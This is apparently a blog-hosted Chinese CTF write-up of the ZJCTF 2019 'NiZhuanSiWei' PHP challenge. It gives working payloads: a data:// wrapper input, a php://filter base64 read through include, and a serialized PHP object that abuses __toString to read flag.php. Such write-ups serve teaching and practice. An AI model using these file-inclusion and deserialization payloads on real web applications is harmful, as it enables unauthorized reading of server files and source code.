[ZJCTF 2019]NiZhuanSiWei

关键点:

(1)file_get_contents($text,'r')

(2)include($file)

(3)$password = unserialize($password);
echo $password;

1.变量如何变成文件输出

text=data://text/plaint,welcome to the zjctf

  1. include($file)文件包含

file=php://filter/convert.base64-encode/resource=useless.php

3.反序列化

源码

php 复制代码
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

构造

php 复制代码
<?php
class Flag{  
     public $file='flag.php';
}
$a=new Flag;
echo serialize($a) ;
?>

上面的源码有echo $password,会触发__toString()。

相关推荐
汤愈韬1 分钟前
FW旁挂实验
网络协议·网络安全·security·huawei
盛满暮色 风止何安17 分钟前
负载均衡的部署模式
运维·服务器·网络·网络安全·负载均衡
蓝之白20 分钟前
Web12-变量1
web安全·ctf
BahTiYar_20 分钟前
ctfshow Web应用安全与防护系列
笔记·web安全
乾元20 小时前
生成对抗样本在网络安全中的工程化解读——AI 误报、误判与对抗的真实边界
运维·网络·人工智能·python·安全·web安全
Wang153021 小时前
网络安全与技术应用投期刊攻略
网络安全
若尘啊若辰1 天前
安全通用要求之十安全运维管理
网络·数据库·网络安全·等保·等级保护·安全通用要求
grrrr_11 天前
【漏洞复现】CVE-2025-54100
安全·网络安全
蓝之白1 天前
Web11-备份是个好习惯
web安全·ctf
黑客-小千1 天前
【Docker】初识docker 基本概念及安装使用(巨详细版),网络安全零基础入门到精通实战教程!
网络协议·tcp/ip·web安全·网络安全·docker·容器·eureka